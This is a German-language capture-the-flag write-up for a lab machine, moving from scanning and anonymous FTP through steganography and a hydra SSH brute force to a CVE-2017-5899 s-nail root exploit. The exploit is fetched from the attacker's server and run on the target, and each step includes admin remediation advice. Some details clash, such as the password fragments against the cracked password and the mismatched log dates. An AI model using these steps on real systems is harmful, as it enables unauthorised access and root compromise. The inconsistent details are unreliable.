Analyse: `arp-scan -l` wird zur Entdeckung aktiver Hosts im lokalen Netzwerksegment ausgeführt.
Bewertung: Der Host `192.168.2.130` mit einer VirtualBox-MAC-Adresse wird als Ziel identifiziert.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.130 durch.
Empfehlung (Admin): Netzwerk-Monitoring.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.130 08:00:27:9c:83:dc PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.871 seconds (136.83 hosts/sec). 1 responded
Analyse: Ein Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf 192.168.2.130 durchgeführt.
Bewertung: !!Kritischer Fund auf FTP!!** - **Port 21 (FTP):** vsftpd 3.0.3, **anonymer Login erlaubt**. Das Nmap-Skript listet eine Datei `chadinfo` auf. - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). - **Port 80 (HTTP):** Apache 2.4.38 (Debian). `robots.txt` verbietet `/kingchad.html`. Das OS ist Linux, Hostname `gig.hmv`.
Empfehlung (Pentester):**Hohe Priorität:** Verbinde dich anonym mit FTP und lade die Datei `chadinfo` herunter. Untersuche `/kingchad.html` und `/robots.txt` auf dem Webserver.
Empfehlung (Admin):**DRINGEND:** Deaktiviere anonymen FTP-Zugriff. Überprüfe exponierte Dateien. Halte Dienste aktuell.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-10 16:40 CEST Nmap scan report for gig.hmv (192.168.2.130) Host is up (0.00017s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-r-xr-xr-x 1 1000 1000 297 Feb 07 2021 chadinfo | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.140 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA) | 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA) |_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) | http-robots.txt: 1 disallowed entry |_/kingchad.html |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.17 ms gig.hmv (192.168.2.130) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.45 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) eingesetzt.
Bewertung: Findet `/index.html` und eine Bilddatei `/drippinchad.png`. Keine anderen relevanten Pfade.
Empfehlung (Pentester): Lade `/drippinchad.png` herunter und analysiere es auf versteckte Daten (Steganographie). Untersuche den Inhalt von `index.html`.
Empfehlung (Admin): Keine spezifische Aktion.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.130 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (gekürzt) ...,png,... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/09 01:49:20 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.130/index.html (Status: 200) [Size: 99] http://192.168.2.130/drippinchad.png (Status: 200) [Size: XXXXX] =============================================================== 2022/10/09 01:50:15 Finished ===============================================================
Analyse: Mit `lftp` wird anonym auf den FTP-Server zugegriffen und versucht, den Inhalt der Datei `chadinfo` direkt anzuzeigen. (Hinweis: Die IP ist im Log falsch, sollte 192.168.2.130 sein).
Bewertung: !!ZIP-Datei identifiziert!!** Die Ausgabe "PK Filetype" sind die Magic Bytes einer ZIP-Datei. Die Datei `chadinfo` ist also ein ZIP-Archiv.
Empfehlung (Pentester): Lade die `chadinfo`-Datei vom FTP-Server herunter (`get chadinfo`) und extrahiere ihren Inhalt mit `unzip` oder `7z`. Untersuche die extrahierten Dateien.
Empfehlung (Admin): Keine sensiblen Archive auf anonymem FTP ablegen.
# lftp Anonymous@192.168.2.130:/> get chadinfo # unzip chadinfo Archive: chadinfo inflating: ... # Alternativ (wie im Log, aber weniger wahrscheinlich): # lftp Anonymous@192.168.2.130:/> cat chadinfo PK..Filetype
Analyse: Das Steganographie-Tool `stegsnow` wird auf die Bilddatei `drippinchad.png` (vermutlich vom Webserver heruntergeladen) angewendet.
Bewertung: !!Passwort-Hinweis gefunden!!** `stegsnow` extrahiert die Zeichenketten `yyynbs` und `ynsdb0`. Dies sind wahrscheinlich Teile eines Passworts oder Hinweise darauf.
Empfehlung (Pentester): Versuche, diese Fragmente zu einem Passwort zu kombinieren (z.B. `yyynbsynsdb0`, `ynsdb0yyynbs` oder Variationen). Erstelle eine kleine Wortliste für einen gezielten Brute-Force-Angriff.
Empfehlung (Admin): Betten Sie keine Passwörter oder Hinweise in öffentliche Bilder ein.
yyynbs ynsdb0
Analyse: `hydra` wird für einen SSH-Passwort-Brute-Force-Angriff gegen den Benutzer `chad` verwendet. Als Wortliste wird `password.txt` angegeben (vermutlich enthält diese die aus `stegsnow` abgeleiteten Passwörter). (Hinweis: IP ist im Log falsch).
Bewertung: !!Passwort gefunden!!** Hydra findet erfolgreich das Passwort `maidenstower` für den Benutzer `chad`.
Empfehlung (Pentester): Melde dich per SSH als `chad` mit diesem Passwort an.
Empfehlung (Admin): Erzwinge starke Passwörter, schütze vor Brute-Force-Angriffen.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-05 11:30:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 18 login tries (l:1/p:18), ~2 tries per task
[DATA] attacking ssh://192.168.2.130:22/
[22][ssh] host: 192.168.2.130 login: chad password: maidenstower
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at ...
Analyse: Eine SSH-Verbindung wird als Benutzer `chad` zum Ziel `gig.hmv` (192.168.2.130) aufgebaut. Das Passwort `maidenstower` wird verwendet.
Bewertung: !!Initial Access erfolgreich!!** Der Login gelingt. Der Angreifer hat eine Shell als Benutzer `chad` auf dem System `gigachad` (Hostname im Prompt).
Empfehlung (Pentester): Beginne mit der Enumeration als `chad` (`id`, `sudo -l`, `find / -perm -u=s ...`, User-Flag).
Empfehlung (Admin): Ändere das kompromittierte Passwort. Sichere SSH.
chad@gig.hmv's password: maidenstower
Linux gigachad 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
...
Last login: ...
chad@gigachad:~$
Analyse: Als `chad` wird versucht, `sudo -l` auszuführen und nach SUID-Binaries zu suchen.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** `sudo` ist nicht verfügbar oder `chad` hat keine Rechte (Output fehlt). Die SUID-Suche findet jedoch `/usr/lib/s-nail/s-nail-privsep`. `s-nail` ist ein Mail-Client, und ältere Versionen hatten bekannte lokale Privilegieneskalations-Schwachstellen (LPE), wenn SUID gesetzt ist.
Empfehlung (Pentester): Überprüfe die Version von `s-nail` (falls möglich) und suche mit `searchsploit` nach bekannten Exploits für SUID `s-nail`.
Empfehlung (Admin): Entferne das SUID-Bit von `s-nail` (`chmod u-s /usr/lib/s-nail/s-nail-privsep`), da es normalerweise nicht benötigt wird und ein Sicherheitsrisiko darstellt. Halte Pakete aktuell.
chad@gigachad:~$ sudo -l chad@gigachad:~$ chad@gigachad:/tmp$ find / -type f -perm -4000 -ls 2>/dev/null 25269 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 31941 12 -rwsr-xr-x 1 root root 10104 Jan 1 2016 /usr/lib/s-nail/s-nail-privsep ... (Standard SUIDs) ...
Analyse: `searchsploit` wird verwendet, um nach Exploits für `s-nail` zu suchen.
Bewertung: !!Exploit gefunden!!** Ein passender LPE-Exploit (`47172.sh`) für `s-nail < 14.8.16` wird gefunden.
Empfehlung (Pentester): Lade das Exploit-Skript (`wget` oder `searchsploit -m`) auf die Angreifer-Maschine, überprüfe und modifiziere es bei Bedarf, übertrage es auf das Ziel (/tmp) und führe es aus.
Empfehlung (Admin): Patche `s-nail` auf eine nicht verwundbare Version.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- S-nail < 14.8.16 - Local Privilege Escalation | multiple/local/47172.sh ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Analyse: Das Exploit-Skript wird mit `wget` auf die Angreifer-Maschine heruntergeladen.
Bewertung: Korrekter Schritt.
Empfehlung (Pentester): Überprüfe und modifiziere das Skript.
Empfehlung (Admin): Keine Aktion.
--2022-10-09 02:15:10-- https://raw.githubusercontent.com/.../exploit.sh Auflösen des Hostnamens raw.githubusercontent.com (raw.githubusercontent.com)... x.x.x.x Verbindungsaufbau zu raw.githubusercontent.com (raw.githubusercontent.com)|x.x.x.x|:443... verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet... 200 OK Länge: ... [text/plain] Wird in »exploit.sh« gespeichert. exploit.sh 100%[==============================>] ...K --.-KB/s in Xs 2022-10-09 02:15:11 (XXX KB/s) - »exploit.sh« gespeichert [...]
Analyse: Das heruntergeladene `exploit.sh` wird mit `vi` bearbeitet, um die Pfadvariablen (`base_dir`, `rootshell` etc.) auf `/tmp` zu setzen.
Bewertung: Notwendige Anpassung, damit das Skript auf dem Zielsystem in einem beschreibbaren Verzeichnis arbeiten kann.
Empfehlung (Pentester): Übertrage das modifizierte Skript auf das Ziel.
Empfehlung (Admin): Keine Aktion.
# --- Angepasste Konfiguration in exploit.sh --- ## https://github.com/bcoles/local-exploits/tree/master/CVE-2017-5899 base_dir="/tmp" rootshell="${base_dir}/exploit.sh" privget="${base_dir}/exploit.privget" lib="${base_dir}/exploit.snail.so" # ------------------------------------------
Analyse: Das modifizierte Exploit-Skript wird auf das Zielsystem nach `/tmp` übertragen (hier via `wget` von einem Python-Server des Angreifers) und ausführbar gemacht.
Bewertung: Korrekte Vorbereitung zur Ausführung des Exploits.
Empfehlung (Pentester): Führe das Skript aus.
Empfehlung (Admin): Monitoring von `/tmp` auf verdächtige ausführbare Dateien.
# Auf Zielsystem (als chad): chad@gigachad:/tmp$ wget http://192.168.2.140:5000/exploit.sh --2022-10-09 02:20:30-- http://192.168.2.140:5000/exploit.sh Connecting to 192.168.2.140:5000... connected. HTTP request sent, awaiting response... 200 OK Length: ... [application/x-sh] Saving to: 'exploit.sh' exploit.sh 100%[=====================>] ...K --.-KB/s in 0s 2022-10-09 02:20:30 (XXX KB/s) - 'exploit.sh' saved [...] chad@gigachad:/tmp$ chmod +x exploit.sh
Analyse: Das Exploit-Skript `./exploit.sh` wird als Benutzer `chad` in einer `while`-Schleife ausgeführt, um eine Race Condition auszunutzen, die in der CVE-2017-5899 liegt.
Bewertung: !!Privilegieneskalation erfolgreich!!** Nach mehreren Versuchen (`Race #951`) gelingt es dem Skript, die Race Condition auszunutzen und eine Root-Shell zu erlangen. Das Skript kopiert sich selbst nach `/tmp/exploit.sh` (umbenannt?) und setzt das SUID-Bit darauf, bevor es diese Kopie ausführt. Der `id`-Befehl bestätigt `uid=0(root)`.
Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Patche `s-nail` (CVE-2017-5899). Entferne das SUID-Bit von `s-nail`. Überwache Systemaufrufe und Dateisystemänderungen, um Race-Condition-Exploits zu erkennen.
chad@gigachad:/tmp$ while true; do ./exploit.sh ;done [.] Race #1 of 1000 ... ... [.] Race #951 of 1000 ... [+] got root! /tmp/exploit.sh (uid=0 gid=0) [.] Cleaning up... [+] Success: -rwsr-xr-x 1 root root 14424 Sep 5 06:18 /tmp/exploit.sh [.] Launching root shell: /tmp/exploit.sh # id uid=0(root) gid=0(root) groups=0(root),1000(chad) # pwd /tmp #
Analyse: Als Root wird die Root-Flag gelesen. Der Pfad ist im Log nicht `/root/root.txt`, sondern `/usr/include/root.txt`.
Bewertung: Root-Flag `832B123648707C6CD022DD9009AEF2FD` erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
# cd /root;cat root.txt # # Korrekter Pfad aus find: # find / -user root -name "*.txt" 2>/dev/null | grep root.txt /usr/include/root.txt # cat /usr/include/root.txt 832B123648707C6CD022DD9009AEF2FD
Analyse: Als Root wird die User-Flag gelesen.
Bewertung: User-Flag `0FAD8F4B099A26E004376EAB42B6A56A` erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
# cd /home # ls chad # cd chad;cat user.txt 0FAD8F4B099A26E004376EAB42B6A56A